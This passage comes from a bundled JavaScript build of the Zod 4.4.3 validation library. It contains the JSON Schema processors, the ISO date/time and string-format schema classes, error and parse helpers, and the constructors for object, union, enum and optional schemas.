\"readonly\" || def.type === \"default\" || def.type === \"prefault\") return isTransforming(def.innerType, ctx);\n if (def.type === \"intersection\") return isTransforming(def.left, ctx) || isTransforming(def.right, ctx);\n if (def.type === \"record\" || def.type === \"map\") return isTransforming(def.keyType, ctx) || isTransforming(def.valueType, ctx);\n if (def.type === \"pipe\") {\n if (_schema._zod.traits.has(\"$ZodCodec\")) return true;\n return isTransforming(def.in, ctx) || isTransforming(def.out, ctx);\n }\n if (def.type === \"object\") {\n for (const key in def.shape) if (isTransforming(def.shape[key], ctx)) return true;\n return false;\n }\n if (def.type === \"union\") {\n for (const option of def.options) if (isTransforming(option, ctx)) return true;\n return false;\n }\n if (def.type === \"tuple\") {\n for (const item of def.items) if (isTransforming(item, ctx)) return true;\n if (def.rest && isTransforming(def.rest, ctx)) return true;\n return false;\n }\n return false;\n}\n/**\n* Creates a toJSONSchema method for a schema instance.\n* This encapsulates the logic of initializing context, processing, extracting defs, and finalizing.\n*/\nconst createToJSONSchemaMethod = (schema, processors = {}) => (params) => {\n const ctx = initializeContext({\n ...params,\n processors\n });\n process$1(schema, ctx);\n extractDefs(ctx, schema);\n return finalize(ctx, schema);\n};\nconst createStandardJSONSchemaMethod = (schema, io, processors = {}) => (params) => {\n const { libraryOptions, target } = params ?? {};\n const ctx = initializeContext({\n ...libraryOptions ?? {},\n target,\n io,\n processors\n });\n process$1(schema, ctx);\n extractDefs(ctx, schema);\n return finalize(ctx, schema);\n};\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/json-schema-processors.js\nconst formatMap = {\n guid: \"uuid\",\n url: \"uri\",\n datetime: \"date-time\",\n json_string: \"json-string\",\n regex: \"\"\n};\nconst stringProcessor = (schema, ctx, _json, _params) => {\n const json = _json;\n json.type = \"string\";\n const { minimum, maximum, format, patterns, contentEncoding } = schema._zod.bag;\n if (typeof minimum === \"number\") json.minLength = minimum;\n if (typeof maximum === \"number\") json.maxLength = maximum;\n if (format) {\n json.format = formatMap[format] ?? format;\n if (json.format === \"\") delete json.format;\n if (format === \"time\") delete json.format;\n }\n if (contentEncoding) json.contentEncoding = contentEncoding;\n if (patterns && patterns.size > 0) {\n const regexes = [...patterns];\n if (regexes.length === 1) json.pattern = regexes[0].source;\n else if (regexes.length > 1) json.allOf = [...regexes.map((regex) => ({\n ...ctx.target === \"draft-07\" || ctx.target === \"draft-04\" || ctx.target === \"openapi-3.0\" ? { type: \"string\" } : {},\n pattern: regex.source\n }))];\n }\n};\nconst neverProcessor = (_schema, _ctx, json, _params) => {\n json.not = {};\n};\nconst unknownProcessor = (_schema, _ctx, _json, _params) => {};\nconst enumProcessor = (schema, _ctx, json, _params) => {\n const def = schema._zod.def;\n const values = getEnumValues(def.entries);\n if (values.every((v) => typeof v === \"number\")) json.type = \"number\";\n if (values.every((v) => typeof v === \"string\")) json.type = \"string\";\n json.enum = values;\n};\nconst customProcessor = (_schema, ctx, _json, _params) => {\n if (ctx.unrepresentable === \"throw\") throw new Error(\"Custom types cannot be represented in JSON Schema\");\n};\nconst transformProcessor = (_schema, ctx, _json, _params) => {\n if (ctx.unrepresentable === \"throw\") throw new Error(\"Transforms cannot be represented in JSON Schema\");\n};\nconst arrayProcessor = (schema, ctx, _json, params) => {\n const json = _json;\n const def = schema._zod.def;\n const { minimum, maximum } = schema._zod.bag;\n if (typeof minimum === \"number\") json.minItems = minimum;\n if (typeof maximum === \"number\") json.maxItems = maximum;\n json.type = \"array\";\n json.items = process$1(def.element, ctx, {\n ...params,\n path: [...params.path, \"items\"]\n });\n};\nconst objectProcessor = (schema, ctx, _json, params) => {\n const json = _json;\n const def = schema._zod.def;\n json.type = \"object\";\n json.properties = {};\n const shape = def.shape;\n for (const key in shape) json.properties[key] = process$1(shape[key], ctx, {\n ...params,\n path: [\n ...params.path,\n \"properties\",\n key\n ]\n });\n const allKeys = new Set(Object.keys(shape));\n const requiredKeys = new Set([...allKeys].filter((key) => {\n const v = def.shape[key]._zod;\n if (ctx.io === \"input\") return v.optin === void 0;\n else return v.optout === void 0;\n }));\n if (requiredKeys.size > 0) json.required = Array.from(requiredKeys);\n if (def.catchall?._zod.def.type === \"never\") json.additionalProperties = false;\n else if (!def.catchall) {\n if (ctx.io === \"output\") json.additionalProperties = false;\n } else if (def.catchall) json.additionalProperties = process$1(def.catchall, ctx, {\n ...params,\n path: [...params.path, \"additionalProperties\"]\n });\n};\nconst unionProcessor = (schema, ctx, json, params) => {\n const def = schema._zod.def;\n const isExclusive = def.inclusive === false;\n const options = def.options.map((x, i) => process$1(x, ctx, {\n ...params,\n path: [\n ...params.path,\n isExclusive ? \"oneOf\" : \"anyOf\",\n i\n ]\n }));\n if (isExclusive) json.oneOf = options;\n else json.anyOf = options;\n};\nconst intersectionProcessor = (schema, ctx, json, params) => {\n const def = schema._zod.def;\n const a = process$1(def.left, ctx, {\n ...params,\n path: [\n ...params.path,\n \"allOf\",\n 0\n ]\n });\n const b = process$1(def.right, ctx, {\n ...params,\n path: [\n ...params.path,\n \"allOf\",\n 1\n ]\n });\n const isSimpleIntersection = (val) => \"allOf\" in val && Object.keys(val).length === 1;\n json.allOf = [...isSimpleIntersection(a) ? a.allOf : [a], ...isSimpleIntersection(b) ? b.allOf : [b]];\n};\nconst recordProcessor = (schema, ctx, _json, params) => {\n const json = _json;\n const def = schema._zod.def;\n json.type = \"object\";\n const keyType = def.keyType;\n const patterns = keyType._zod.bag?.patterns;\n if (def.mode === \"loose\" && patterns && patterns.size > 0) {\n const valueSchema = process$1(def.valueType, ctx, {\n ...params,\n path: [\n ...params.path,\n \"patternProperties\",\n \"*\"\n ]\n });\n json.patternProperties = {};\n for (const pattern of patterns) json.patternProperties[pattern.source] = valueSchema;\n } else {\n if (ctx.target === \"draft-07\" || ctx.target === \"draft-2020-12\") json.propertyNames = process$1(def.keyType, ctx, {\n ...params,\n path: [...params.path, \"propertyNames\"]\n });\n json.additionalProperties = process$1(def.valueType, ctx, {\n ...params,\n path: [...params.path, \"additionalProperties\"]\n });\n }\n const keyValues = keyType._zod.values;\n if (keyValues) {\n const validKeyValues = [...keyValues].filter((v) => typeof v === \"string\" || typeof v === \"number\");\n if (validKeyValues.length > 0) json.required = validKeyValues;\n }\n};\nconst nullableProcessor = (schema, ctx, json, params) => {\n const def = schema._zod.def;\n const inner = process$1(def.innerType, ctx, params);\n const seen = ctx.seen.get(schema);\n if (ctx.target === \"openapi-3.0\") {\n seen.ref = def.innerType;\n json.nullable = true;\n } else json.anyOf = [inner, { type: \"null\" }];\n};\nconst nonoptionalProcessor = (schema, ctx, _json, params) => {\n const def = schema._zod.def;\n process$1(def.innerType, ctx, params);\n const seen = ctx.seen.get(schema);\n seen.ref = def.innerType;\n};\nconst defaultProcessor = (schema, ctx, json, params) => {\n const def = schema._zod.def;\n process$1(def.innerType, ctx, params);\n const seen = ctx.seen.get(schema);\n seen.ref = def.innerType;\n json.default = JSON.parse(JSON.stringify(def.defaultValue));\n};\nconst prefaultProcessor = (schema, ctx, json, params) => {\n const def = schema._zod.def;\n process$1(def.innerType, ctx, params);\n const seen = ctx.seen.get(schema);\n seen.ref = def.innerType;\n if (ctx.io === \"input\") json._prefault = JSON.parse(JSON.stringify(def.defaultValue));\n};\nconst catchProcessor = (schema, ctx, json, params) => {\n const def = schema._zod.def;\n process$1(def.innerType, ctx, params);\n const seen = ctx.seen.get(schema);\n seen.ref = def.innerType;\n let catchValue;\n try {\n catchValue = def.catchValue(void 0);\n } catch {\n throw new Error(\"Dynamic catch values are not supported in JSON Schema\");\n }\n json.default = catchValue;\n};\nconst pipeProcessor = (schema, ctx, _json, params) => {\n const def = schema._zod.def;\n const inIsTransform = def.in._zod.traits.has(\"$ZodTransform\");\n const innerType = ctx.io === \"input\" ? inIsTransform ? def.out : def.in : def.out;\n process$1(innerType, ctx, params);\n const seen = ctx.seen.get(schema);\n seen.ref = innerType;\n};\nconst readonlyProcessor = (schema, ctx, json, params) => {\n const def = schema._zod.def;\n process$1(def.innerType, ctx, params);\n const seen = ctx.seen.get(schema);\n seen.ref = def.innerType;\n json.readOnly = true;\n};\nconst optionalProcessor = (schema, ctx, _json, params) => {\n const def = schema._zod.def;\n process$1(def.innerType, ctx, params);\n const seen = ctx.seen.get(schema);\n seen.ref = def.innerType;\n};\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/iso.js\nconst ZodISODateTime = /*@__PURE__*/ $constructor(\"ZodISODateTime\", (inst, def) => {\n $ZodISODateTime.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nfunction datetime(params) {\n return _isoDateTime(ZodISODateTime, params);\n}\nconst ZodISODate = /*@__PURE__*/ $constructor(\"ZodISODate\", (inst, def) => {\n $ZodISODate.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nfunction date(params) {\n return _isoDate(ZodISODate, params);\n}\nconst ZodISOTime = /*@__PURE__*/ $constructor(\"ZodISOTime\", (inst, def) => {\n $ZodISOTime.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nfunction time(params) {\n return _isoTime(ZodISOTime, params);\n}\nconst ZodISODuration = /*@__PURE__*/ $constructor(\"ZodISODuration\", (inst, def) => {\n $ZodISODuration.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nfunction duration(params) {\n return _isoDuration(ZodISODuration, params);\n}\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/errors.js\nconst initializer = (inst, issues) => {\n $ZodError.init(inst, issues);\n inst.name = \"ZodError\";\n Object.defineProperties(inst, {\n format: { value: (mapper) => formatError(inst, mapper) },\n flatten: { value: (mapper) => flattenError(inst, mapper) },\n addIssue: { value: (issue) => {\n inst.issues.push(issue);\n inst.message = JSON.stringify(inst.issues, jsonStringifyReplacer, 2);\n } },\n addIssues: { value: (issues) => {\n inst.issues.push(...issues);\n inst.message = JSON.stringify(inst.issues, jsonStringifyReplacer, 2);\n } },\n isEmpty: { get() {\n return inst.issues.length === 0;\n } }\n });\n};\nconst ZodRealError = /*@__PURE__*/ $constructor(\"ZodError\", initializer, { Parent: Error });\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/parse.js\nconst parse = /* @__PURE__ */ _parse(ZodRealError);\nconst parseAsync = /* @__PURE__ */ _parseAsync(ZodRealError);\nconst safeParse = /* @__PURE__ */ _safeParse(ZodRealError);\nconst safeParseAsync = /* @__PURE__ */ _safeParseAsync(ZodRealError);\nconst encode = /* @__PURE__ */ _encode(ZodRealError);\nconst decode = /* @__PURE__ */ _decode(ZodRealError);\nconst encodeAsync = /* @__PURE__ */ _encodeAsync(ZodRealError);\nconst decodeAsync = /* @__PURE__ */ _decodeAsync(ZodRealError);\nconst safeEncode = /* @__PURE__ */ _safeEncode(ZodRealError);\nconst safeDecode = /* @__PURE__ */ _safeDecode(ZodRealError);\nconst safeEncodeAsync = /* @__PURE__ */ _safeEncodeAsync(ZodRealError);\nconst safeDecodeAsync = /* @__PURE__ */ _safeDecodeAsync(ZodRealError);\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/schemas.js\nconst _installedGroups = /* @__PURE__ */ new WeakMap();\nfunction _installLazyMethods(inst, group, methods) {\n const proto = Object.getPrototypeOf(inst);\n let installed = _installedGroups.get(proto);\n if (!installed) {\n installed = /* @__PURE__ */ new Set();\n _installedGroups.set(proto, installed);\n }\n if (installed.has(group)) return;\n installed.add(group);\n for (const key in methods) {\n const fn = methods[key];\n Object.defineProperty(proto, key, {\n configurable: true,\n enumerable: false,\n get() {\n const bound = fn.bind(this);\n Object.defineProperty(this, key, {\n configurable: true,\n writable: true,\n enumerable: true,\n value: bound\n });\n return bound;\n },\n set(v) {\n Object.defineProperty(this, key, {\n configurable: true,\n writable: true,\n enumerable: true,\n value: v\n });\n }\n });\n }\n}\nconst ZodType = /*@__PURE__*/ $constructor(\"ZodType\", (inst, def) => {\n $ZodType.init(inst, def);\n Object.assign(inst[\"~standard\"], { jsonSchema: {\n input: createStandardJSONSchemaMethod(inst, \"input\"),\n output: createStandardJSONSchemaMethod(inst, \"output\")\n } });\n inst.toJSONSchema = createToJSONSchemaMethod(inst, {});\n inst.def = def;\n inst.type = def.type;\n Object.defineProperty(inst, \"_def\", { value: def });\n inst.parse = (data, params) => parse(inst, data, params, { callee: inst.parse });\n inst.safeParse = (data, params) => safeParse(inst, data, params);\n inst.parseAsync = async (data, params) => parseAsync(inst, data, params, { callee: inst.parseAsync });\n inst.safeParseAsync = async (data, params) => safeParseAsync(inst, data, params);\n inst.spa = inst.safeParseAsync;\n inst.encode = (data, params) => encode(inst, data, params);\n inst.decode = (data, params) => decode(inst, data, params);\n inst.encodeAsync = async (data, params) => encodeAsync(inst, data, params);\n inst.decodeAsync = async (data, params) => decodeAsync(inst, data, params);\n inst.safeEncode = (data, params) => safeEncode(inst, data, params);\n inst.safeDecode = (data, params) => safeDecode(inst, data, params);\n inst.safeEncodeAsync = async (data, params) => safeEncodeAsync(inst, data, params);\n inst.safeDecodeAsync = async (data, params) => safeDecodeAsync(inst, data, params);\n _installLazyMethods(inst, \"ZodType\", {\n check(...chks) {\n const def = this.def;\n return this.clone(mergeDefs(def, { checks: [...def.checks ?? [], ...chks.map((ch) => typeof ch === \"function\" ? { _zod: {\n check: ch,\n def: { check: \"custom\" },\n onattach: []\n } } : ch)] }), { parent: true });\n },\n with(...chks) {\n return this.check(...chks);\n },\n clone(def, params) {\n return clone(this, def, params);\n },\n brand() {\n return this;\n },\n register(reg, meta) {\n reg.add(this, meta);\n return this;\n },\n refine(check, params) {\n return this.check(refine(check, params));\n },\n superRefine(refinement, params) {\n return this.check(superRefine(refinement, params));\n },\n overwrite(fn) {\n return this.check(_overwrite(fn));\n },\n optional() {\n return optional(this);\n },\n exactOptional() {\n return exactOptional(this);\n },\n nullable() {\n return nullable(this);\n },\n nullish() {\n return optional(nullable(this));\n },\n nonoptional(params) {\n return nonoptional(this, params);\n },\n array() {\n return array(this);\n },\n or(arg) {\n return union([this, arg]);\n },\n and(arg) {\n return intersection(this, arg);\n },\n transform(tx) {\n return pipe(this, transform(tx));\n },\n default(d) {\n return _default(this, d);\n },\n prefault(d) {\n return prefault(this, d);\n },\n catch(params) {\n return _catch(this, params);\n },\n pipe(target) {\n return pipe(this, target);\n },\n readonly() {\n return readonly(this);\n },\n describe(description) {\n const cl = this.clone();\n globalRegistry.add(cl, { description });\n return cl;\n },\n meta(...args) {\n if (args.length === 0) return globalRegistry.get(this);\n const cl = this.clone();\n globalRegistry.add(cl, args[0]);\n return cl;\n },\n isOptional() {\n return this.safeParse(void 0).success;\n },\n isNullable() {\n return this.safeParse(null).success;\n },\n apply(fn) {\n return fn(this);\n }\n });\n Object.defineProperty(inst, \"description\", {\n get() {\n return globalRegistry.get(inst)?.description;\n },\n configurable: true\n });\n return inst;\n});\n/** @internal */\nconst _ZodString = /*@__PURE__*/ $constructor(\"_ZodString\", (inst, def) => {\n $ZodString.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => stringProcessor(inst, ctx, json, params);\n const bag = inst._zod.bag;\n inst.format = bag.format ?? null;\n inst.minLength = bag.minimum ?? null;\n inst.maxLength = bag.maximum ?? null;\n _installLazyMethods(inst, \"_ZodString\", {\n regex(...args) {\n return this.check(_regex(...args));\n },\n includes(...args) {\n return this.check(_includes(...args));\n },\n startsWith(...args) {\n return this.check(_startsWith(...args));\n },\n endsWith(...args) {\n return this.check(_endsWith(...args));\n },\n min(...args) {\n return this.check(_minLength(...args));\n },\n max(...args) {\n return this.check(_maxLength(...args));\n },\n length(...args) {\n return this.check(_length(...args));\n },\n nonempty(...args) {\n return this.check(_minLength(1, ...args));\n },\n lowercase(params) {\n return this.check(_lowercase(params));\n },\n uppercase(params) {\n return this.check(_uppercase(params));\n },\n trim() {\n return this.check(_trim());\n },\n normalize(...args) {\n return this.check(_normalize(...args));\n },\n toLowerCase() {\n return this.check(_toLowerCase());\n },\n toUpperCase() {\n return this.check(_toUpperCase());\n },\n slugify() {\n return this.check(_slugify());\n }\n });\n});\nconst ZodString = /*@__PURE__*/ $constructor(\"ZodString\", (inst, def) => {\n $ZodString.init(inst, def);\n _ZodString.init(inst, def);\n inst.email = (params) => inst.check(_email(ZodEmail, params));\n inst.url = (params) => inst.check(_url(ZodURL, params));\n inst.jwt = (params) => inst.check(_jwt(ZodJWT, params));\n inst.emoji = (params) => inst.check(_emoji(ZodEmoji, params));\n inst.guid = (params) => inst.check(_guid(ZodGUID, params));\n inst.uuid = (params) => inst.check(_uuid(ZodUUID, params));\n inst.uuidv4 = (params) => inst.check(_uuidv4(ZodUUID, params));\n inst.uuidv6 = (params) => inst.check(_uuidv6(ZodUUID, params));\n inst.uuidv7 = (params) => inst.check(_uuidv7(ZodUUID, params));\n inst.nanoid = (params) => inst.check(_nanoid(ZodNanoID, params));\n inst.guid = (params) => inst.check(_guid(ZodGUID, params));\n inst.cuid = (params) => inst.check(_cuid(ZodCUID, params));\n inst.cuid2 = (params) => inst.check(_cuid2(ZodCUID2, params));\n inst.ulid = (params) => inst.check(_ulid(ZodULID, params));\n inst.base64 = (params) => inst.check(_base64(ZodBase64, params));\n inst.base64url = (params) => inst.check(_base64url(ZodBase64URL, params));\n inst.xid = (params) => inst.check(_xid(ZodXID, params));\n inst.ksuid = (params) => inst.check(_ksuid(ZodKSUID, params));\n inst.ipv4 = (params) => inst.check(_ipv4(ZodIPv4, params));\n inst.ipv6 = (params) => inst.check(_ipv6(ZodIPv6, params));\n inst.cidrv4 = (params) => inst.check(_cidrv4(ZodCIDRv4, params));\n inst.cidrv6 = (params) => inst.check(_cidrv6(ZodCIDRv6, params));\n inst.e164 = (params) => inst.check(_e164(ZodE164, params));\n inst.datetime = (params) => inst.check(datetime(params));\n inst.date = (params) => inst.check(date(params));\n inst.time = (params) => inst.check(time(params));\n inst.duration = (params) => inst.check(duration(params));\n});\nfunction string(params) {\n return _string(ZodString, params);\n}\nconst ZodStringFormat = /*@__PURE__*/ $constructor(\"ZodStringFormat\", (inst, def) => {\n $ZodStringFormat.init(inst, def);\n _ZodString.init(inst, def);\n});\nconst ZodEmail = /*@__PURE__*/ $constructor(\"ZodEmail\", (inst, def) => {\n $ZodEmail.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodGUID = /*@__PURE__*/ $constructor(\"ZodGUID\", (inst, def) => {\n $ZodGUID.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodUUID = /*@__PURE__*/ $constructor(\"ZodUUID\", (inst, def) => {\n $ZodUUID.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodURL = /*@__PURE__*/ $constructor(\"ZodURL\", (inst, def) => {\n $ZodURL.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodEmoji = /*@__PURE__*/ $constructor(\"ZodEmoji\", (inst, def) => {\n $ZodEmoji.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodNanoID = /*@__PURE__*/ $constructor(\"ZodNanoID\", (inst, def) => {\n $ZodNanoID.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\n/**\n* @deprecated CUID v1 is deprecated by its authors due to information leakage\n* (timestamps embedded in the id). Use {@link ZodCUID2} instead.\n* See https://github.com/paralleldrive/cuid.\n*/\nconst ZodCUID = /*@__PURE__*/ $constructor(\"ZodCUID\", (inst, def) => {\n $ZodCUID.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodCUID2 = /*@__PURE__*/ $constructor(\"ZodCUID2\", (inst, def) => {\n $ZodCUID2.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodULID = /*@__PURE__*/ $constructor(\"ZodULID\", (inst, def) => {\n $ZodULID.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodXID = /*@__PURE__*/ $constructor(\"ZodXID\", (inst, def) => {\n $ZodXID.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodKSUID = /*@__PURE__*/ $constructor(\"ZodKSUID\", (inst, def) => {\n $ZodKSUID.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodIPv4 = /*@__PURE__*/ $constructor(\"ZodIPv4\", (inst, def) => {\n $ZodIPv4.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodIPv6 = /*@__PURE__*/ $constructor(\"ZodIPv6\", (inst, def) => {\n $ZodIPv6.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodCIDRv4 = /*@__PURE__*/ $constructor(\"ZodCIDRv4\", (inst, def) => {\n $ZodCIDRv4.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodCIDRv6 = /*@__PURE__*/ $constructor(\"ZodCIDRv6\", (inst, def) => {\n $ZodCIDRv6.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodBase64 = /*@__PURE__*/ $constructor(\"ZodBase64\", (inst, def) => {\n $ZodBase64.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodBase64URL = /*@__PURE__*/ $constructor(\"ZodBase64URL\", (inst, def) => {\n $ZodBase64URL.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodE164 = /*@__PURE__*/ $constructor(\"ZodE164\", (inst, def) => {\n $ZodE164.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodJWT = /*@__PURE__*/ $constructor(\"ZodJWT\", (inst, def) => {\n $ZodJWT.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodUnknown = /*@__PURE__*/ $constructor(\"ZodUnknown\", (inst, def) => {\n $ZodUnknown.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => unknownProcessor(inst, ctx, json, params);\n});\nfunction unknown() {\n return _unknown(ZodUnknown);\n}\nconst ZodNever = /*@__PURE__*/ $constructor(\"ZodNever\", (inst, def) => {\n $ZodNever.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => neverProcessor(inst, ctx, json, params);\n});\nfunction never(params) {\n return _never(ZodNever, params);\n}\nconst ZodArray = /*@__PURE__*/ $constructor(\"ZodArray\", (inst, def) => {\n $ZodArray.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => arrayProcessor(inst, ctx, json, params);\n inst.element = def.element;\n _installLazyMethods(inst, \"ZodArray\", {\n min(n, params) {\n return this.check(_minLength(n, params));\n },\n nonempty(params) {\n return this.check(_minLength(1, params));\n },\n max(n, params) {\n return this.check(_maxLength(n, params));\n },\n length(n, params) {\n return this.check(_length(n, params));\n },\n unwrap() {\n return this.element;\n }\n });\n});\nfunction array(element, params) {\n return _array(ZodArray, element, params);\n}\nconst ZodObject = /*@__PURE__*/ $constructor(\"ZodObject\", (inst, def) => {\n $ZodObjectJIT.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => objectProcessor(inst, ctx, json, params);\n defineLazy(inst, \"shape\", () => {\n return def.shape;\n });\n _installLazyMethods(inst, \"ZodObject\", {\n keyof() {\n return _enum(Object.keys(this._zod.def.shape));\n },\n catchall(catchall) {\n return this.clone({\n ...this._zod.def,\n catchall\n });\n },\n passthrough() {\n return this.clone({\n ...this._zod.def,\n catchall: unknown()\n });\n },\n loose() {\n return this.clone({\n ...this._zod.def,\n catchall: unknown()\n });\n },\n strict() {\n return this.clone({\n ...this._zod.def,\n catchall: never()\n });\n },\n strip() {\n return this.clone({\n ...this._zod.def,\n catchall: void 0\n });\n },\n extend(incoming) {\n return extend(this, incoming);\n },\n safeExtend(incoming) {\n return safeExtend(this, incoming);\n },\n merge(other) {\n return merge(this, other);\n },\n pick(mask) {\n return pick(this, mask);\n },\n omit(mask) {\n return omit(this, mask);\n },\n partial(...args) {\n return partial(ZodOptional, this, args[0]);\n },\n required(...args) {\n return required(ZodNonOptional, this, args[0]);\n }\n });\n});\nfunction object(shape, params) {\n return new ZodObject({\n type: \"object\",\n shape: shape ?? {},\n ...normalizeParams(params)\n });\n}\nconst ZodUnion = /*@__PURE__*/ $constructor(\"ZodUnion\", (inst, def) => {\n $ZodUnion.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => unionProcessor(inst, ctx, json, params);\n inst.options = def.options;\n});\nfunction union(options, params) {\n return new ZodUnion({\n type: \"union\",\n options,\n ...normalizeParams(params)\n });\n}\nconst ZodIntersection = /*@__PURE__*/ $constructor(\"ZodIntersection\", (inst, def) => {\n $ZodIntersection.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => intersectionProcessor(inst, ctx, json, params);\n});\nfunction intersection(left, right) {\n return new ZodIntersection({\n type: \"intersection\",\n left,\n right\n });\n}\nconst ZodRecord = /*@__PURE__*/ $constructor(\"ZodRecord\", (inst, def) => {\n $ZodRecord.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => recordProcessor(inst, ctx, json, params);\n inst.keyType = def.keyType;\n inst.valueType = def.valueType;\n});\nfunction record(keyType, valueType, params) {\n if (!valueType || !valueType._zod) return new ZodRecord({\n type: \"record\",\n keyType: string(),\n valueType: keyType,\n ...normalizeParams(valueType)\n });\n return new ZodRecord({\n type: \"record\",\n keyType,\n valueType,\n ...normalizeParams(params)\n });\n}\nconst ZodEnum = /*@__PURE__*/ $constructor(\"ZodEnum\", (inst, def) => {\n $ZodEnum.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => enumProcessor(inst, ctx, json, params);\n inst.enum = def.entries;\n inst.options = Object.values(def.entries);\n const keys = new Set(Object.keys(def.entries));\n inst.extract = (values, params) => {\n const newEntries = {};\n for (const value of values) if (keys.has(value)) newEntries[value] = def.entries[value];\n else throw new Error(`Key ${value} not found in enum`);\n return new ZodEnum({\n ...def,\n checks: [],\n ...normalizeParams(params),\n entries: newEntries\n });\n };\n inst.exclude = (values, params) => {\n const newEntries = { ...def.entries };\n for (const value of values) if (keys.has(value)) delete newEntries[value];\n else throw new Error(`Key ${value} not found in enum`);\n return new ZodEnum({\n ...def,\n checks: [],\n ...normalizeParams(params),\n entries: newEntries\n });\n };\n});\nfunction _enum(values, params) {\n return new ZodEnum({\n type: \"enum\",\n entries: Array.isArray(values) ? Object.fromEntries(values.map((v) => [v, v])) : values,\n ...normalizeParams(params)\n });\n}\nconst ZodTransform = /*@__PURE__*/ $constructor(\"ZodTransform\", (inst, def) => {\n $ZodTransform.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => transformProcessor(inst, ctx, json, params);\n inst._zod.parse = (payload, _ctx) => {\n if (_ctx.direction === \"backward\") throw new $ZodEncodeError(inst.constructor.name);\n payload.addIssue = (issue$1) => {\n if (typeof issue$1 === \"string\") payload.issues.push(issue(issue$1, payload.value, def));\n else {\n const _issue = issue$1;\n if (_issue.fatal) _issue.continue = false;\n _issue.code ?? (_issue.code = \"custom\");\n _issue.input ?? (_issue.input = payload.value);\n _issue.inst ?? (_issue.inst = inst);\n payload.issues.push(issue(_issue));\n }\n };\n const output = def.transform(payload.value, payload);\n if (output instanceof Promise) return output.then((output) => {\n payload.value = output;\n payload.fallback = true;\n return payload;\n });\n payload.value = output;\n payload.fallback = true;\n return payload;\n };\n});\nfunction transform(fn) {\n return new ZodTransform({\n type: \"transform\",\n transform: fn\n });\n}\nconst ZodOptional = /*@__PURE__*/ $constructor(\"ZodOptional\", (inst, def) => {\n $ZodOptional.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => optionalProcessor(inst, ctx, json, params);\n inst.unwrap = () => inst._zod.def.innerType;\n});\nfunction optional(innerType) {\n return new ZodOptional({\n type: \"optional\",\n innerType\n });\n}\nconst ZodExactOptional = /*@__PURE__*/ $constructor(\"ZodExactOptional\", (inst, def) => {\n $ZodExactOptional.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => optionalProcessor(inst, ctx, json, params);\n inst.unwrap = () => inst._zod.def.innerType;\n});\nfunction exactOptional(innerType) {\n return new ZodExactOptional({\n type: \"optional\",\n innerType\n });\n}\nconst ZodNullable = /*@__PURE__*/ $constructor(\"ZodNullable\", (inst, def) => {\n $ZodNullable.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => nullableProcessor(inst, ctx, json, params);\n inst.unwrap = () => inst._zod.def.innerType;\n});\nfunction nullable(innerType) {\n return new ZodNullable({\n type: \"nullable\",\n innerType\n });\n}\nconst ZodDefault = /*@__PURE__*/ $constructor(\"ZodDefault\", (inst, def) => {\n $ZodDefault.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => defaultProcessor(inst, ctx, json, params);\n inst.unwrap = () => inst._zod.def.innerType;\n inst.removeDefault = inst.unwrap;\n});\nfunction _default(innerType, defaultValue) {\n return new ZodDefault({\n type: \"default\",\n innerType,\n get defaultValue() {\n return typeof defaultValue === \"function\" ? defaultValue() : shallowClone(defaultValue);\n }\n });\n}\nconst ZodPrefault = /*@__PURE__*/ $constructor(\"ZodPrefault\", (inst, def) => {\n $ZodPrefault.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => prefaultProcessor(inst, ctx, json, params);\n inst.unwrap = () => inst._zod.def.innerType;\n});\nfunction prefault(innerType, defaultValue) {\n return new ZodPrefault({\n type: \"prefault\",\n innerType,\n get defaultValue() {\n 